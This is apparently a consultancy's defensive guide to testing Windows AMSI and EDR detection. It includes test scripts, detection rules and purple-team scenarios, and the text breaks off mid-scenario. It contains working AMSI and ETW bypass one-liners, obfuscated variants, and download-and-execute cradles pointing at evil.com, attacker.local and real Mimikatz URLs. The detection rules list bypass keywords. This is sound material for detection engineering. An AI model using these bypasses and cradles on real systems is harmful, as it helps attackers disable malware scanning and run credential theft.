AMSI - Antimalware Scan Interface Testing & Detection
Bron: docs.microsoft.com/windows/win32/amsi/ Auteur: Johan Beysen | Fox & Fish Cybersecurity
1. Overzicht
AMSI (Antimalware Scan Interface) is een Windows security feature geïntroduceerd in Windows 10 en Windows Server 2016 die een standaard interface biedt tussen applicaties en antimalware producten. AMSI maakt real-time scanning mogelijk van scripts, macros en andere dynamische code voordat deze wordt uitgevoerd.
Ontwikkelaar: Microsoft Geïntroduceerd: Windows 10 (2015) Type: Security API / Interface Platforms: Windows 10+, Windows Server 2016+ Documentatie: https://docs.microsoft.com/en-us/windows/win32/amsi/
2. Wat is AMSI?
2.1 Architectuur
┌─────────────────────────────────────────────────┐
│ Application/Script Engine │
│ (PowerShell, VBScript, JScript, Office, etc.) │
└────────────────┬────────────────────────────────┘
│
↓
┌───────────────┐
│ AMSI API │ ← Interface Layer
└───────┬───────┘
│
↓
┌────────────────────────────┐
│ Antimalware Provider(s) │
│ - Windows Defender │
│ - Third-party AV │
│ - EDR Solutions │
└────────────────────────────┘
│
↓
[Block or Allow]
2.2 Core Concept
AMSI is NIET een antivirus - het is een doorgeefluik tussen applicaties en AV engines.
Hoe het werkt: 1. Script engine (bijv. PowerShell) wil code uitvoeren 2. Content wordt naar AMSI API gestuurd 3. AMSI stuurt naar registered AV provider(s) 4. AV scant in-memory content 5. AV geeft verdict: Clean of Malicious 6. AMSI informeert script engine 7. Script engine blokkeert of executes
3. Waarom AMSI Belangrijk Is
3.1 Problemen die AMSI Oplost
Voor AMSI (Pre-2015):
# Malicious PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
# Problem: Script downloads and executes without any scanning
# AV only scans files on disk, not in-memory execution
Met AMSI (Post-2015):
# Zelfde malicious PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
# AMSI Flow:
# 1. PowerShell gives script to AMSI
# 2. AMSI scans content
# 3. Detects malicious patterns
# 4. Blocks execution
# 5. Error: "Script contains malicious content"
3.2 Attack Vectors die AMSI Detecteert
- Fileless Malware
- Scripts die nooit disk raken
- In-memory payloads
-
Reflective DLL injection
-
Living-off-the-Land
- Misbruik van legitimate tools
- PowerShell Empire
-
Cobalt Strike beacons
-
Obfuscated Scripts
- Base64 encoded payloads
- String concatenation
-
Character substitution
-
Document Macros
- Malicious Office macros
- VBA payloads
-
Auto-executing code
-
Script-based Attacks
- PowerShell exploits
- VBScript malware
- JavaScript threats
4. AMSI-Enabled Applications
4.1 Native AMSI Support
| Application | Version | AMSI Coverage |
|---|---|---|
| PowerShell | 5.0+ | Full script scanning |
| VBScript | Windows 10+ | Full script scanning |
| JScript | Windows 10+ | Full script scanning |
| Office VBA | Office 2016+ | Macro scanning |
| Windows Script Host | Windows 10+ | WSH scripts |
| .NET Framework | 4.8+ | Dynamic code |
| JavaScript (Edge) | Legacy Edge | Script execution |
4.2 Third-Party Integration
Applicaties kunnen AMSI integreren via:
// C++ Example
#include <amsi.h>
HAMSICONTEXT amsiContext;
HAMSISESSION amsiSession;
// Initialize AMSI
AmsiInitialize(L"MyApp", &amsiContext);
AmsiOpenSession(amsiContext, &amsiSession);
// Scan content
AMSI_RESULT result;
AmsiScanString(amsiContext, content, contentName, amsiSession, &result);
// Check result
if (result == AMSI_RESULT_DETECTED) {
// Block execution
}
5. AMSI Testing Methodologie
5.1 Category 1: Basic Detection Validation
Doel: Verificatie dat AMSI enabled is en werkt
# Test 1: Known malicious string
IEX "Invoke-Mimikatz"
# Expected: Script blocked
# Error: "This script contains malicious content and has been blocked"
# Test 2: Credential dumping
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
# Expected: Download/execution blocked
# Test 3: Shellcode execution
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')
# Expected: Blocked by AMSI
5.2 Category 2: Obfuscation Detection
Doel: Test of AMSI obfuscated payloads detecteert
# Test 1: Base64 encoding
$encoded = 'SW52b2tlLU1pbWlrYXR6'
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
IEX $decoded
# Expected: Detected on decode/execution
# Test 2: String concatenation
$part1 = "Invoke-"
$part2 = "Mimikatz"
$payload = $part1 + $part2
IEX $payload
# Expected: Detected despite splitting
# Test 3: Character substitution
$obfuscated = "Inv`oke-Mim`ikatz"
IEX $obfuscated
# Expected: Detected
# Test 4: Variable indirection
$a = "IEX"
$b = "(New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')"
& $a $b
# Expected: Detected
5.3 Category 3: AMSI Bypass Detection
Doel: Verificatie dat AMSI bypass attempts gedetecteerd worden door EDR
# === THESE ARE BYPASS ATTEMPTS - SHOULD BE DETECTED BY EDR ===
# Bypass 1: Memory patching (classic)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Expected: EDR detects reflection abuse
# Bypass 2: Context nulling
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
# Expected: EDR detects AMSI tampering
# Bypass 3: Force error
[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
# Expected: EDR detects ETW tampering
# Bypass 4: DLL hijacking
# Copy malicious amsi.dll to working directory
Copy-Item C:\Temp\evil_amsi.dll .\amsi.dll
# Expected: EDR detects DLL load from suspicious location
5.4 Category 4: Advanced Evasion Techniques
Doel: Test advanced AV evasion detection
# Test 1: Process hollowing
$code = @"
// C# code for process hollowing
"@
Add-Type -TypeDefinition $code
[ProcessHollow]::Hollow()
# Expected: EDR behavioral detection
# Test 2: Reflective DLL injection
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\payload.dll")
[System.Reflection.Assembly]::Load($bytes)
# Expected: AMSI + EDR detection
# Test 3: PowerShell runspaces
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()
$ps = [powershell]::Create()
$ps.Runspace = $rs
$ps.AddScript("Invoke-Mimikatz")
$ps.Invoke()
# Expected: AMSI scans runspace content
6. Practical Testing Commands
6.1 Test AMSI Status
# Check if AMSI is available
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
if ($amsi) {
Write-Host "[+] AMSI is present" -ForegroundColor Green
} else {
Write-Host "[-] AMSI not found" -ForegroundColor Red
}
# Check PowerShell version (5.0+ has AMSI)
$PSVersionTable.PSVersion
# Check if AV provider is registered
Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled, AntivirusEnabled
6.2 Test AMSI Detection
# Test function
function Test-AMSIDetection {
param(
[Parameter(Mandatory=$true)]
[string]$TestString,
[string]$TestName = "AMSI Test"
)
Write-Host "`n[*] Testing: $TestName" -ForegroundColor Cyan
Write-Host "[*] Payload: $TestString" -ForegroundColor Gray
try {
IEX $TestString
Write-Host "[!] NOT DETECTED - AMSI Failed" -ForegroundColor Red
return $false
} catch {
if ($_.Exception.Message -like "*malicious*" -or $_.Exception.Message -like "*blocked*") {
Write-Host "[+] DETECTED - AMSI Working" -ForegroundColor Green
return $true
} else {
Write-Host "[?] Unknown error: $($_.Exception.Message)" -ForegroundColor Yellow
return $null
}
}
}
# Run tests
$results = @()
$results += Test-AMSIDetection -TestString "Invoke-Mimikatz" -TestName "Mimikatz String"
$results += Test-AMSIDetection -TestString "Invoke-Shellcode" -TestName "Shellcode String"
$results += Test-AMSIDetection -TestString "Get-GPPPassword" -TestName "GPP Password"
$results += Test-AMSIDetection -TestString "Invoke-PowerShellTcp" -TestName "Reverse Shell"
$results += Test-AMSIDetection -TestString "Invoke-ReflectivePEInjection" -TestName "PE Injection"
# Summary
$detected = ($results | Where-Object {$_ -eq $true}).Count
$total = $results.Count
Write-Host "`n[*] Detection Rate: $detected/$total ($([math]::Round($detected/$total*100,2))%)" -ForegroundColor Cyan
6.3 Comprehensive Test Suite
# amsi_test_suite.ps1
# Comprehensive AMSI testing script
$TestResults = @()
# Test 1: Basic string detection
Write-Host "`n=== Test 1: Basic String Detection ===" -ForegroundColor Cyan
$tests = @(
"Invoke-Mimikatz",
"Invoke-Shellcode",
"Get-GPPPassword",
"Invoke-PowerShellTcp",
"Invoke-ReflectivePEInjection",
"Invoke-TokenManipulation"
)
foreach ($test in $tests) {
try {
IEX $test
$result = "FAILED - Not Detected"
$detected = $false
} catch {
$result = "PASSED - Detected"
$detected = $true
}
$TestResults += [PSCustomObject]@{
Category = "Basic Detection"
Test = $test
Result = $result
Detected = $detected
}
}
# Test 2: Download attempts
Write-Host "`n=== Test 2: Download Detection ===" -ForegroundColor Cyan
$urls = @(
"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1",
"https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"
)
foreach ($url in $urls) {
try {
IEX (New-Object Net.WebClient).DownloadString($url)
$result = "FAILED - Not Detected"
$detected = $false
} catch {
$result = "PASSED - Detected"
$detected = $true
}
$TestResults += [PSCustomObject]@{
Category = "Download Detection"
Test = $url
Result = $result
Detected = $detected
}
}
# Test 3: Obfuscation
Write-Host "`n=== Test 3: Obfuscation Detection ===" -ForegroundColor Cyan
# Base64
try {
$b64 = 'SW52b2tlLU1pbWlrYXR6'
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)))
$result = "FAILED - Not Detected"
$detected = $false
} catch {
$result = "PASSED - Detected"
$detected = $true
}
$TestResults += [PSCustomObject]@{
Category = "Obfuscation"
Test = "Base64 Encoding"
Result = $result
Detected = $detected
}
# String concatenation
try {
$a = "Invoke-"
$b = "Mimikatz"
IEX ($a + $b)
$result = "FAILED - Not Detected"
$detected = $false
} catch {
$result = "PASSED - Detected"
$detected = $true
}
$TestResults += [PSCustomObject]@{
Category = "Obfuscation"
Test = "String Concatenation"
Result = $result
Detected = $detected
}
# Test 4: AMSI Bypass Detection (should be blocked by EDR)
Write-Host "`n=== Test 4: AMSI Bypass Detection ===" -ForegroundColor Cyan
try {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$result = "FAILED - Bypass Successful"
$detected = $false
} catch {
$result = "PASSED - Bypass Blocked"
$detected = $true
}
$TestResults += [PSCustomObject]@{
Category = "Bypass Detection"
Test = "AMSI Memory Patch"
Result = $result
Detected = $detected
}
# Generate Report
Write-Host "`n========== TEST SUMMARY ==========" -ForegroundColor Cyan
$TestResults | Format-Table -AutoSize
$totalTests = $TestResults.Count
$detectedTests = ($TestResults | Where-Object Detected -eq $true).Count
$detectionRate = [math]::Round($detectedTests / $totalTests * 100, 2)
Write-Host "`nTotal Tests: $totalTests" -ForegroundColor White
Write-Host "Detected: $detectedTests" -ForegroundColor Green
Write-Host "Missed: $($totalTests - $detectedTests)" -ForegroundColor Red
Write-Host "Detection Rate: $detectionRate%" -ForegroundColor Cyan
# Export results
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$TestResults | Export-Csv -Path "C:\Temp\AMSI_Test_Results_$timestamp.csv" -NoTypeInformation
Write-Host "`nResults exported to: C:\Temp\AMSI_Test_Results_$timestamp.csv" -ForegroundColor Yellow
6.4 VBScript Testing
' test_amsi.vbs
' Basic AMSI test for VBScript
Dim objShell, objFSO
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
' Test 1: Execute suspicious command
On Error Resume Next
objShell.Run "powershell.exe -Command Invoke-Mimikatz", 0, True
If Err.Number <> 0 Then
WScript.Echo "Test 1: PASSED - Command blocked"
Else
WScript.Echo "Test 1: FAILED - Command executed"
End If
On Error GoTo 0
' Test 2: Download and execute
On Error Resume Next
objShell.Run "powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')", 0, True
If Err.Number <> 0 Then
WScript.Echo "Test 2: PASSED - Download blocked"
Else
WScript.Echo "Test 2: FAILED - Download succeeded"
End If
On Error GoTo 0
WScript.Echo "AMSI VBScript tests complete"
6.5 Office Macro Testing
' Office VBA Macro - AMSI Test
' WARNING: Only use in isolated test environment
Sub TestAMSI()
Dim result As String
' Test 1: Basic malicious string
On Error Resume Next
result = ExecuteCommand("Invoke-Mimikatz")
If Err.Number <> 0 Then
Debug.Print "Test 1: PASSED - Blocked by AMSI"
Else
Debug.Print "Test 1: FAILED - Not blocked"
End If
On Error GoTo 0
' Test 2: Download attempt
On Error Resume Next
result = ExecuteCommand("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')")
If Err.Number <> 0 Then
Debug.Print "Test 2: PASSED - Blocked by AMSI"
Else
Debug.Print "Test 2: FAILED - Not blocked"
End If
On Error GoTo 0
MsgBox "AMSI tests complete - check Immediate window"
End Sub
Function ExecuteCommand(cmd As String) As String
Dim objShell As Object
Set objShell = CreateObject("WScript.Shell")
ExecuteCommand = objShell.Exec("powershell.exe -Command " & cmd).StdOut.ReadAll
Set objShell = Nothing
End Function
7. AMSI Bypass Techniques (For Detection Testing)
Kritieke Waarschuwing
Deze bypasses zijn voor het TESTEN van je detection capabilities. Je wilt dat je EDR deze detecteert en blokkeert!
7.1 Common AMSI Bypasses
Bypass 1: Classic Memory Patch
# This should be DETECTED by EDR
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Expected EDR behavior:
# - Detect reflection abuse
# - Block SetValue operation
# - Generate alert
# - Log attempt
Bypass 2: Context Nulling
# This should be DETECTED by EDR
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, $mem)
# Expected EDR behavior:
# - Detect memory manipulation
# - Identify AMSI context tampering
# - Block operation
Bypass 3: ETW Patching
# This should be DETECTED by EDR
[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
# Expected EDR behavior:
# - Detect ETW tampering
# - Recognize logging bypass attempt
# - Alert on suspicious reflection
Bypass 4: Obfuscated Bypass
# Obfuscated version - still should be DETECTED
$a=[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+[char]109+[char]115+[char]105)+'Utils')
$b=$a.GetField('amsi'+$([char]73+[char]110+[char]105+[char]116)+'Failed','NonPublic,Static')
$b.SetValue($null,$true)
# Expected EDR behavior:
# - Detect despite obfuscation
# - Behavioral detection of AMSI tampering
Bypass 5: Force Error
# Force AMSI initialization to fail
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c=$b
}
}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d) {
if ($e.Name -like "*Context") {
$f=$e
}
}
$f.SetValue($null,[IntPtr]::Zero)
# Expected EDR behavior:
# - Detect reflection patterns
# - Identify AMSI-related field access
7.2 Testing EDR Against Bypasses
# test_bypass_detection.ps1
# Verify EDR detects AMSI bypass attempts
function Test-BypassDetection {
param(
[string]$BypassName,
[scriptblock]$BypassCode
)
Write-Host "`n[*] Testing bypass: $BypassName" -ForegroundColor Cyan
try {
& $BypassCode
# If we get here, bypass worked (BAD)
Write-Host "[!] FAILED - Bypass succeeded, EDR did not detect" -ForegroundColor Red
# Try to execute malicious code
try {
IEX "Invoke-Mimikatz"
Write-Host "[!] CRITICAL - Malicious code executed!" -ForegroundColor Red
return "FAILED"
} catch {
Write-Host "[?] Bypass worked but AMSI still detecting" -ForegroundColor Yellow
return "PARTIAL"
}
} catch {
# Bypass blocked (GOOD)
Write-Host "[+] PASSED - EDR blocked bypass attempt" -ForegroundColor Green
Write-Host " Error: $($_.Exception.Message)" -ForegroundColor Gray
return "PASSED"
}
}
# Test various bypasses
$results = @()
$results += Test-BypassDetection -BypassName "Memory Patch" -BypassCode {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
}
$results += Test-BypassDetection -BypassName "Context Nulling" -BypassCode {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
}
$results += Test-BypassDetection -BypassName "ETW Patching" -BypassCode {
[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
}
# Summary
$passed = ($results | Where-Object {$_ -eq "PASSED"}).Count
$total = $results.Count
Write-Host "`n========== SUMMARY ==========" -ForegroundColor Cyan
Write-Host "EDR Protection Rate: $passed/$total ($([math]::Round($passed/$total*100,2))%)" -ForegroundColor White
if ($passed -eq $total) {
Write-Host "EDR is protecting against AMSI bypasses" -ForegroundColor Green
} else {
Write-Host "EDR needs tuning - some bypasses succeed" -ForegroundColor Red
}
8. Detection & Monitoring
8.1 Windows Event Logs
Event IDs to Monitor
| Event ID | Log | Description |
|---|---|---|
| 1116 | Windows Defender Operational | Malware detected |
| 1117 | Windows Defender Operational | Action taken |
| 4104 | PowerShell Operational | Script Block Logging |
| 4103 | PowerShell Operational | Module Logging |
| 8 | Windows Defender Operational | AMSI detection |
PowerShell Log Analysis
# Check for AMSI detections
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Windows Defender/Operational'
ID = 1116, 1117
} | Where-Object {
$_.Message -like "*AMSI*" -or $_.Message -like "*malicious*"
} | Select-Object TimeCreated, Id, Message | Format-List
# Check PowerShell Script Block Logging
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} | Where-Object {
$_.Message -like "*Invoke-Mimikatz*" -or
$_.Message -like "*Invoke-Shellcode*" -or
$_.Message -like "*AmsiUtils*"
} | Select-Object TimeCreated, Message | Format-List
# Check for AMSI bypass attempts
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} | Where-Object {
$_.Message -like "*AmsiUtils*" -or
$_.Message -like "*amsiInitFailed*" -or
$_.Message -like "*amsiContext*"
} | Select-Object TimeCreated, Message | Format-List
Real-time Monitoring
# Monitor for AMSI events in real-time
$query = @"
<QueryList>
<Query Id="0" Path="Microsoft-Windows-Windows Defender/Operational">
<Select Path="Microsoft-Windows-Windows Defender/Operational">
*[System[(EventID=1116 or EventID=1117)]]
</Select>
</Query>
<Query Id="1" Path="Microsoft-Windows-PowerShell/Operational">
<Select Path="Microsoft-Windows-PowerShell/Operational">
*[System[(EventID=4104)]]
</Select>
</Query>
</QueryList>
"@
# Start watching
Write-Host "[*] Monitoring AMSI events (Ctrl+C to stop)..." -ForegroundColor Cyan
Get-WinEvent -FilterXml $query -MaxEvents 1 -ErrorAction SilentlyContinue | Out-Null
Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.LogFile='Microsoft-Windows-Windows Defender/Operational'" -Action {
$event = $Event.SourceEventArgs.NewEvent.TargetInstance
if ($event.EventCode -eq 1116 -or $event.EventCode -eq 1117) {
Write-Host "[!] AMSI Detection: $($event.Message)" -ForegroundColor Red
}
}
# Keep running
while ($true) { Start-Sleep -Seconds 1 }
8.2 Sysmon Configuration
<!-- Sysmon config for AMSI monitoring -->
<Sysmon schemaversion="4.82">
<EventFiltering>
<!-- Capture PowerShell with suspicious strings -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">AmsiUtils</CommandLine>
<CommandLine condition="contains">amsiInitFailed</CommandLine>
<CommandLine condition="contains">amsiContext</CommandLine>
<CommandLine condition="contains">Invoke-Mimikatz</CommandLine>
<CommandLine condition="contains">Invoke-Shellcode</CommandLine>
</ProcessCreate>
<!-- Capture .NET assembly loads -->
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">amsi.dll</ImageLoaded>
</ImageLoad>
</EventFiltering>
</Sysmon>
8.3 SIEM Queries
Splunk Query
# Detect AMSI bypass attempts
index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| search Message="*AmsiUtils*" OR Message="*amsiInitFailed*" OR Message="*amsiContext*"
| table _time, Computer, User, Message
| sort -_time
Elastic Query
{
"query": {
"bool": {
"must": [
{"match": {"event.code": "4104"}},
{"query_string": {
"query": "AmsiUtils OR amsiInitFailed OR amsiContext"
}}
]
}
}
}
Sigma Rule
title: AMSI Bypass Attempt Detected
id: b0d77106-7bb0-41fe-bd94-d1e38f8cd0e2
status: experimental
description: Detects attempts to bypass AMSI via reflection
author: Security Team
date: 2025/12/01
logsource:
product: windows
service: powershell
definition: 'Script Block Logging must be enabled'
detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'AmsiUtils'
- 'amsiInitFailed'
- 'amsiContext'
- 'AmsiScanBuffer'
condition: selection
falsepositives:
- Security research
- Legitimate testing
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
9. Tools for AMSI Testing
9.1 AMSITrigger
Doel: Identify exact strings that trigger AMSI
# Download AMSITrigger
# https://github.com/RythmStick/AMSITrigger
# Usage
.\AmsiTrigger.exe -i malicious_script.ps1
# Output example:
# [AMSI] Line: 10 - 'Invoke-Mimikatz'
# [AMSI] Line: 25 - 'Get-GPPPassword'
# [AMSI] Line: 40 - 'Invoke-Shellcode'
# Use case: Identify what needs to be obfuscated (for Red Team)
# Or what signatures are working (for Blue Team)
9.2 Invoke-Obfuscation
Doel: Test obfuscation detection capabilities
# https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Interactive menu
# 1. Set script path
# 2. Apply obfuscation
# 3. Test if AMSI detects obfuscated version
# Use case: Test if AMSI/EDR detects obfuscated payloads
9.3 ISESteroids (Development)
# Add AMSI testing to PowerShell ISE
Install-Module -Name ISESteroids
# Features:
# - Real-time AMSI scanning as you type
# - Highlight suspicious strings
# - Test scripts before execution
9.4 Custom AMSI Tester
# custom_amsi_tester.ps1
# Standalone AMSI testing tool
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class AmsiNative {
[DllImport("amsi.dll", CharSet = CharSet.Unicode)]
public static extern int AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll", CharSet = CharSet.Unicode)]
public static extern int AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll", CharSet = CharSet.Unicode)]
public static extern int AmsiScanString(
IntPtr amsiContext,
string @string,
string contentName,
IntPtr amsiSession,
out int result
);
[DllImport("amsi.dll")]
public static extern void AmsiCloseSession(IntPtr amsiContext, IntPtr amsiSession);
[DllImport("amsi.dll")]
public static extern void AmsiUninitialize(IntPtr amsiContext);
}
"@
function Test-StringWithAMSI {
param([string]$TestString)
$amsiContext = [IntPtr]::Zero
$amsiSession = [IntPtr]::Zero
$result = 0
try {
# Initialize AMSI
$hr = [AmsiNative]::AmsiInitialize("PowerShell_Test", [ref]$amsiContext)
if ($hr -ne 0) {
Write-Host "[-] AMSI initialization failed" -ForegroundColor Red
return
}
# Open session
$hr = [AmsiNative]::AmsiOpenSession($amsiContext, [ref]$amsiSession)
if ($hr -ne 0) {
Write-Host "[-] Failed to open AMSI session" -ForegroundColor Red
return
}
# Scan string
$hr = [AmsiNative]::AmsiScanString(
$amsiContext,
$TestString,
"TestContent",
$amsiSession,
[ref]$result
)
# Interpret result
# 0 = AMSI_RESULT_CLEAN
# 1 = AMSI_RESULT_NOT_DETECTED
# 32768 = AMSI_RESULT_DETECTED
switch ($result) {
0 { Write-Host "[+] Clean" -ForegroundColor Green }
1 { Write-Host "[?] Not Detected" -ForegroundColor Yellow }
32768 { Write-Host "[!] MALICIOUS - Detected" -ForegroundColor Red }
default { Write-Host "[?] Unknown result: $result" -ForegroundColor Yellow }
}
return $result
} finally {
# Cleanup
if ($amsiSession -ne [IntPtr]::Zero) {
[AmsiNative]::AmsiCloseSession($amsiContext, $amsiSession)
}
if ($amsiContext -ne [IntPtr]::Zero) {
[AmsiNative]::AmsiUninitialize($amsiContext)
}
}
}
# Usage
Test-StringWithAMSI -TestString "Invoke-Mimikatz"
Test-StringWithAMSI -TestString "Hello World"
Test-StringWithAMSI -TestString "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
10. Integration met Security Stack
10.1 FortiEDR Integration
Test FortiEDR AMSI Protection:
# Test 1: Basic AMSI detection
Write-Host "[*] Test 1: Basic AMSI Detection"
try {
IEX "Invoke-Mimikatz"
} catch {
Write-Host "[+] Blocked by AMSI" -ForegroundColor Green
}
# Expected FortiEDR behavior:
# - Log AMSI detection
# - Correlate with process behavior
# - Generate alert if part of attack chain
# Test 2: AMSI bypass detection
Write-Host "`n[*] Test 2: AMSI Bypass Detection"
try {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
} catch {
Write-Host "[+] Bypass blocked by FortiEDR" -ForegroundColor Green
}
# Expected FortiEDR behavior:
# - Detect reflection abuse
# - Identify AMSI tampering
# - Block process
# - Generate high-severity alert
# Test 3: Post-bypass detection
Write-Host "`n[*] Test 3: Post-Bypass Behavioral Detection"
# Even if AMSI bypass succeeds, FortiEDR should detect malicious behavior
try {
# Simulate credential dumping
$proc = Get-Process lsass
# FortiEDR should block LSASS access
} catch {
Write-Host "[+] Behavioral detection active" -ForegroundColor Green
}
# Expected FortiEDR behavior:
# - Behavioral analysis continues
# - LSASS access attempt detected
# - Process terminated
10.2 FortiAnalyzer Logging
# Query FortiAnalyzer for AMSI events
# Via FortiAnalyzer CLI or GUI
# Search for AMSI-related events
devname contains "FortiClient" AND
(msg contains "AMSI" OR msg contains "PowerShell" OR msg contains "Script")
AND severity >= "high"
# Expected log entries:
# - AMSI detections
# - Bypass attempts
# - Behavioral alerts
# - Process terminations
10.3 Atomic Red Team + AMSI
# Atomic Red Team has AMSI-specific tests
Invoke-AtomicTest T1562.001 # Disable or Modify Tools
# This technique includes AMSI bypass attempts
# Test if your stack detects:
# 1. AMSI bypass
# 2. Post-bypass malicious activity
# 3. Logging/alerting quality
# Verify in:
# - FortiEDR console
# - FortiAnalyzer logs
# - Windows Event Logs
11. Purple Team Scenarios
11.1 Scenario 1: AMSI Detection Validation
Objective: Verify AMSI is working correctly
# BLUE TEAM: Verify AMSI enabled
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled
# RED TEAM: Execute known malicious script
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
# BLUE TEAM: Verify detection
# 1. Check Windows Defender logs (Event ID 1116)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116} -MaxEvents 5
# 2. Check PowerShell logs (Event ID 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} -MaxEvents 5 |
Where-Object {$_.Message -like "*Mimikatz*"}
# 3. Check FortiEDR console for alerts
# METRICS:
# - Detection time: < 1 second
# - Alert generated: YES
# - Process blocked: YES
# - Logged in SIEM: YES
11.2 Scenario 2: AMSI Bypass Detection
Objective: Verify EDR detects AMSI bypass attempts
# BLUE TEAM: Enable behavioral detection
# Ensure FortiEDR is running with AMSI protection
# RED TEAM: Attempt AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# BLUE TEAM: Verify bypass was detected
# Expected:
# - FortiEDR blocks reflection operation
# - Alert: "AMSI tampering detected"
# - Process terminated or sandboxed
# If bypass succeeds (BAD):
# - Tune EDR rules
# - Add custom detection for reflection abuse
# - Enable additional behavioral monitoring
# RED TEAM: Post-bypass activity test
# Even if bypass works, test if EDR detects subsequent malicious activity
IEX "Invoke-Mimikatz"
# BLUE TEAM: Verify behavioral detection
# EDR should detect credential dumping regardless of AMSI state
11.3 Scenario 3: Obfuscation Detection
Objective: Test detection of obfuscated payloads
# RED TEAM: Base64 obfuscated Mimikatz
$b64 = 'SW52b2tlLU1pbWlrYXR6IC1EdW1wQ3JlZHM='
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))
IEX $decoded
# BLUE TEAM: Verify detection
# AMSI should detect on decode/execution
# Check logs for:
# - Base64 decode operation
# - Mimikatz string detection
# - Execution blocked
# RED TEAM: Advanced obfuscation
# Use Invoke-Obfuscation for more complex evasion
# Test multiple obfuscation layers
# BLUE TEAM: Measure detection effectiveness
# How many obfuscation techniques are detected?
# Where are the gaps?
# Update signatures/rules accordingly
11.4 Scenario 4: Complete Attack Chain
Objective: Test detection across full attack lifecycle
# Phase 1: Initial Access (Phishing simulation)
# RED TEAM: Malicious macro execution
# (Simulate via Office document with AMSI-triggering VBA)
# Phase 2: Execution
# RED TEAM: PowerShell download cradle
IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/stage2.ps1')
# Phase 3: Defense Evasion
# RED TEAM: AMSI bypass attempt
